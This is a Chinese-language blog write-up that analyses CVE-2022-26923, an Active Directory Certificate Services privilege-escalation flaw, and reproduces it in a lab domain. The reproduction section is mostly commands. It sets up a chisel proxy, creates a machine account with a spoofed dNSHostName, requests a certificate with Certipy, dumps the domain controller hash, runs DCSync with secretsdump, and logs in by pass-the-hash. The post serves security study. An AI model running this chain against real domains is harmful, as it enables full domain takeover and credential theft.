域内权限提升新姿势：CVE-2022–26923漏洞分析及复现
0x01 漏洞介绍
漏洞简介
漏洞类型: 特权提升
漏洞组件：活动目录证书服务(Active Directory Certificate Services,AD CS)
漏洞简述：通过构造机器账户并篡改dNSHostName属性，在证书申请时AD CS将dNSHostName属性嵌入证书中，进而机器账户获得高权限的域控身份。
漏洞详情：
CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability
CVE - CVE-2022-26923 (mitre.org)
Active Directory证书服务
Active Directory证书服务简称AD CS，是一种域内认证服务，是公钥基础设施PKI的一个实现，通过发行证书提供了文件加密、数字签名、身份验证等功能。其中，证书颁发机构（CA）负责颁发证书。
证书中包含的信息将一个主题身份与一个公共/私人密钥对结合起来。之后应用程序在操作时使用该密钥对作为该用户的身份证明。
证书申请流程大致过程：
- 客户端产生密钥对
- 客户端发送证书请求(CSR)给企业CA服务器
- CA检查CSR中的内容，判断是否许可获得证书
- CA通过许可，下发使用CA私钥签名的证书
一些概念解释
PKI：公钥基础设施，实现证书的产生、管理、存储、分发和撤销等功能
PKINIT：初始认证的公钥加密技术（可以在Kerberos认证的初始阶段中使用）
0x02 环境搭建
可直接跳过此搭建部分
环境信息：
域控Win2012
主机名: DC-WIN2012
IP: 10.10.1.10
主机Win7
主机名: WIN7
IP: 10.10.1.100
10.10.100.154(外网)
首先准备一台已搭建域服务的主机，这里选择Win2012版本。默认情况下AD CS组件未安装，因此参考此篇文章进行AD CS搭建。此外我还准备了一台WIN7作为域内主机模拟实际情况。
1 AD CS安装
点击添加角色和功能，默认下一步直到下图：
添加服务
2 AD CS配置
安装完成后需要进行
选择服务，之前安装的三个服务
指定CA名称，默认为redteam-DC-WIN2012-CA
服务器身份验证证书
开始配置
监测配置是否成功：在证书颁发机构中存在证书模板
0x03 漏洞分析
我们可以在证书模板中看到有多种类型，其中用户模板和计算机模板（本文重点）都允许客户端身份的验证。这意味着颁发的证书可以通过PKINIT Kerberos扩展用于针对KDC的身份验证。
在证书申请中，一个关键点就是申请者身份证明，用户账户的身份证明使用到用户主体名称(User Principal Name, UPN)作为证明。而基于计算机模板的机器账户将使用dNSHostName属性作为证明。
用户账户的证书申请 | UPN
用户账户根据模板申请证书时，用户账户的UPN将被嵌入到证书中进行识别。当我们使用该证书进行认证时，KDC会尝试将证书中的UPN映射到用户身上
用户证书模板的msPKI-Certificate-Name-Flag属性存在一个CT_FLAG_SUBJECT_ALT_REQUIRE_UPN标志位，用于指示UPN标志
MS-CRTD: msPKI-Certificate-Name-Flag Attribute | Microsoft Docs
那我们这里是否可以通过修改UPN进行身份伪造呢，答案是否定的，因为UPN是唯一的，域内不允许出现两个一样的UPN，做如下修改UPN的尝试：当我们进行修改时会提示约束冲突
# 申请用户SPN
certipy req 'redteam.com/user001:123.com@DC-WIN2012.redteam.com' -ca redteam-DC-WIN2012-CA -template 'User'
机器账户的证书申请 | dNSHostName
基于计算机模板的机器账户进行证书申请时需要借助dNSHostName属性进行验证。CA下发的证书中会嵌入计算机的DNS属性。
同样的，我们会想能否修改dNSHostName来伪造身份呢，答案是可行的，究其原因在于dNSHostName并不具有唯一性，这一点可以在官方文档中翻阅到：[MS-ADTS]: Uniqueness Constraints | Microsoft Docs ，其中只提到了UPN和SPN的唯一性。
在证书模板的msPKI-Certificate-Name-Flag属性还存在一个CT_FLAG_SUBJECT_ALT_REQUIRE_DNS标志位，其指示CA将从Active Directory中请求者用户对象的DNS属性获得的值添加到已颁发证书的主题备用名称中。
域控SPN唯一性
通过上面的分析，漏洞点就呼之欲出了：可以通过修改dNSHostName来伪造高权限用户，直接尝试修改dNSHostName测试下。
将TEST$机器账户的dNSHostName更改为DC-WIN2012.redteam.com，出现如下错误：
原因是SPN的唯一性，当我们试图将TEST\$机器账户的dNSHostName属性更新为DC-WIN2012.redteam.com时，域控制器试图更新SPN属性，该属性将被更新为包括RestrictedKrbHost/DC-WIN2012.redteam.com和HOST/DC-WIN2012.redteam.com，这将与域控制器的SPN属性冲突。
因此，通过更新TEST\$机器账户的dNSHostName属性，当域控制器也试图更新TEST\$机器账户的SPN时，我们间接地造成了约束性违反。
我们注意到，当我们更新dNSHostName时，只有两个值被更新和检查，即RestrictedKrbHost/TEST.redteam.com和HOST/TEST.redteam.com，其中包含dNSHostName属性值，解决措施就是删除TEST\$机器账户中这两个SPN值，在域控同步更新时不造成冲突
此时，我们使用TEST\$机器账户申请证书时，颁发的证书中将会包含填充篡改后的dNSHostName，即DC-WIN2012.redteam.com。TEST\$机器账户申请的证书就具备域控的身份了。
0x04 漏洞复现
0 前置工作
实战环境下，攻击机也不能直接访问域控，只有在获取到域内用户后搭建代理才可以访问，因此这里先简单使用chisel搭建代理
# chisel搭建代理
chisel.exe server -p 9011 --socks5
./chisel client 10.10.100.174:9011 sock5
# proxychains修改配置
socks5 127.0.0.1 1080
# 测试
proxychains nmap -sV -sT -p 80 10.10.1.10
已知信息：
域控Win2012
主机名: DC-WIN2012
IP: 10.10.1.10
域内主机Win7
主机名: WIN7
IP: 10.10.1.100
10.10.100.154(外网)
域名: redteam.com
用户: user001 密码: 123.com
1 获取CA名称
0x01 任意域内主机查询
# 查看是否存在证书驱动器
Get-PSDrive cert | ft -AutoSize
# 列出本地机器账户的证书
Get-ChildItem Cert:\LocalMachine\Root\
参数解释：
Get-PSDrive：列出当前计算机中的所有驱动器
ft -AutoSize：设置format格式
参考：
How to get the Windows certificate details using PowerShell? (tutorialspoint.com)
0x02 域控上查看
条件：
- 域控上查询
certutil
certutil -config - -ping
0x03 合理猜测
根据域控主机名和域名进行猜测
域控主机名：DC-WIN2012
域名：redteam.com
CA名称：redteam-DC-WIN2012-CA
2 构造合适的机器账户
0x01 魔改addcomputer.py创建机器账户
在获取到普通域用户的权限后，使用Impacket工具包中的addcomputer.py脚本创建一个机器账户，命名为WUHU，密码设置为Passw0rd
在上述分析中，需要修改部分SPN值，而原版本的addcomputer.py脚本中spn设置了RestrictedKrbHost/[COMPUTERNAME].redteam.com和HOST/[COMPUTERNAME].redteam.com两个SPN值，这里需要对addcomputer.py进行魔改下，将这两个SPN值注释掉，避免间接约束
接着，并且修改机器账户的dNSHostName，用于伪造域控机器账户DC-WIN2012$，其中DC-WIN2012是域控主机名
魔改好后，直接使用addcomputer.py添加机器账户，命令如下：
# 创建机器账户
proxychains python3 addcomputer.py redteam.com/user001:123.com -method LDAPS -computer-name WUHU\$ -computer-pass Passw0rd -dc-ip DC-WIN2012.redteam.com
0x02 使用bloodyAD工具
bloodyAD工具是一个Active Directory权限提升框架
判断用户能否创建机器账户
# 判断用户能否创建机器账户
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota
返回时表示该用户最多可以创建10个机器账户
创建机器账户
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd'
检查下，确实创建成功，不过没有预先设置dNSHostName和SPN
添加机器账户的dNSHostName
需要指定可辩别名称(DistinguishedName, DN)，
# 设置DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]'
# 尝试修改SPN【无效】
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=TEST,CN=Computers,DC=redteam,DC=com' servicePrincipalName 'test1/test2'
查询机器账户的DNSHostName
proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname
3 申请证书
使用Certipy工具申请基于计算机模板的证书，这里的redteam-DC-WIN2012-CA在前面的AD CS配置中有设置到
# 使用Certipy为TEST$账户申请证书
proxychains certipy req 'redteam.com/WUHU$:Passw0rd@DC-WIN2012.redteam.com' -ca 'redteam-DC-WIN2012-CA' -template 'Machine'
4 检索Hash生成票据
使用该证书进行认证，Certipy工具检索到了DC-WIN2012$的NTLM Hash。
proxychains certipy auth -pfx dc-win2012.pfx -username DC-WIN2012$ -domain redteam.com -dc-ip 10.10.1.10
5 DCSync攻击
接着我们可以使用DC-WIN2012$NTLM Hash来进行DCSync攻击，以转储所有用户的哈希值。
使用Impacket工具包中的secretsdump.py脚本执行DCSync攻击，导出域内用户Hash
# 方法一：票据导出
export KRB5CCNAME=/root/Desktop/dc-win2012.ccache
proxychains python3 secretsdump.py -k redteam.com/DC-WIN2012\$@dc-win2012.redteam.com -no-pass -just-dc
# 方法二：Hash导出
proxychains python3 secretsdump.py -hashes :f460feac55234529a3188ecc8438d8fe redteam.com/DC-WIN2012\$@DC-WIN2012.redteam.com -no-pass -just-dc
可以得到administrator的Hash值，至此已经得到了最高的administrator权限
Administrator:500:aad3b435b51404eeaad3b435b51404ee:83a140d89e42046e8daf5394d386a69a:::
6 后渗透
之后两种思路：
- 直接使用administrator的NTLM Hash远程登录
- 通过S4U2Self扩展协议申请服务票据，如CIFS等
第一种：直接远程登录
使用Impacket工具包中的wmiexec.py脚本
# Hash登录
python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.com/administrator@10.10.1.10 -dc-ip 10.10.1.10
第二种：票据登录
使用到PKINITtools工具中的gets4uticket.py脚本
# 申请票据，保存为Admin.ccache
python3 gets4uticket.py kerberos+ccache://redteam.com\\DC-WIN2012\$:dc-win2012.ccache@dc-win2012.redteam.com cifs/dc-win2012.redteam.com@redteam.com Administrator@redteam.com Admin.ccache -v
# 导入票据
export KRB5CCNAME=/root/Desktop/Admin.ccache
# 使用票据登录
proxychains python3 wmiexec.py -k redteam.com/administrator@DC-WIN2012.redteam.com -no-pass -dc-ip 10.10.1.10
后续还可以进行权限维持：黄金票据、白银票据等，这里就不展开了，留给读者们动手尝试
0x05 参考文章
- 发表于 2022-05-23 09:36:26
- 阅读 ( 12093 )
- 分类：漏洞分析
26 篇文章